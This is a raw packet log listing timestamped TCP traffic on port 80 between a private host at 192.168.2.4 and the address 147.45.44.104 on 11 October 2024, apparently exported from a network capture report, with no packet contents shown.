Oct 11, 2024 23:07:03.482448101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482481003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.482502937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482517958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.482537031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482569933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482584953 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.482604027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482635975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482669115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482687950 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.482702017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482714891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.482733011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482767105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482777119 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.482803106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.482846975 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.577524900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577600956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577636003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577668905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577672005 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.577704906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577723026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.577780962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577812910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577841997 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.577846050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577878952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577893019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.577928066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577961922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.577982903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.577995062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.578027964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.578037024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.578058958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.578093052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.578108072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.578124046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.578155994 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.578166962 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.578193903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.578246117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.665008068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.665081024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.665333986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667053938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667068958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667083979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667119026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667130947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667145014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667159081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667172909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667179108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667207956 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667242050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667257071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667270899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667284966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667294979 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667299986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667331934 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667361975 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667675972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667726040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667740107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667771101 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.667807102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667820930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.667881966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.669960976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.670017958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.751413107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.751456976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.751539946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.756963015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.756979942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.756998062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757071972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757097006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757112026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757127047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757141113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757154942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757165909 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757195950 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757196903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757211924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757225037 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757226944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757241964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757256985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757261038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757303953 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757672071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757687092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757700920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757725000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757730961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757746935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757761002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.757761955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.757805109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.846882105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.846951008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847004890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847038984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847053051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847086906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847111940 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847119093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847151995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847183943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847191095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847218037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847229958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847249031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847280979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847311974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847328901 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847343922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847362041 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847376108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847424030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847429037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847476959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847508907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847522974 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847537041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847573042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847580910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847604990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847635984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847651958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.847671032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.847734928 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936626911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936665058 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936682940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936707973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936723948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936722040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936738968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936754942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936760902 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936769962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936793089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936805010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936819077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936824083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936835051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936861038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936862946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936877012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936891079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936893940 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936906099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936937094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936973095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.936980009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.936995029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937009096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937037945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.937355995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937401056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.937403917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937421083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937465906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:03.937494993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937515020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937529087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:03.937598944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.026760101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026783943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026802063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026838064 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.026845932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026859999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026875019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026887894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026890993 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.026904106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026912928 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.026948929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026963949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026972055 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.026977062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.026992083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.027005911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.027017117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.027019024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.027034044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.027055025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.028723955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.028740883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.028757095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.028772116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.028795004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.028856993 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.029089928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.029136896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.029139042 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.029151917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.029191971 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.029372931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.029387951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.029437065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.116568089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116595984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116612911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116621017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116628885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116636038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116643906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116652012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116660118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116667032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116674900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116684914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116715908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116728067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116799116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116816998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116832018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116853952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.116868019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116889000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116903067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116904020 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.116930962 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.116950989 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.116961956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.116975069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.117002010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.117016077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.117029905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.117047071 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.117114067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.117127895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.117142916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.117156029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.117204905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.206899881 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.206927061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.206945896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.206955910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.206964016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.206970930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.206984997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.206998110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207011938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207026958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207041979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207082033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207129955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207144022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207159042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207160950 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207173109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207185984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207186937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207211971 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207268000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207268000 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207283020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207297087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207309961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207323074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207331896 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207336903 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207353115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207365036 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207401037 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207418919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207432032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207447052 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.207459927 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.207499981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297343969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297451973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297487020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297519922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297530890 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297554016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297595978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297602892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297646999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297648907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297682047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297713041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297736883 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297745943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297776937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297813892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297827005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297874928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297880888 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297928095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297960997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.297980070 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.297992945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298026085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298043966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.298057079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298088074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298119068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298126936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.298150063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298165083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.298182011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298213959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298230886 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.298244953 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298275948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298304081 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.298310041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.298357964 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388166904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388262987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388325930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388377905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388431072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388464928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388470888 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388499022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388506889 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388530970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388547897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:04.388562918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:04.388578892 CEST	49730	80	192.168.2.4	147.45.44.104
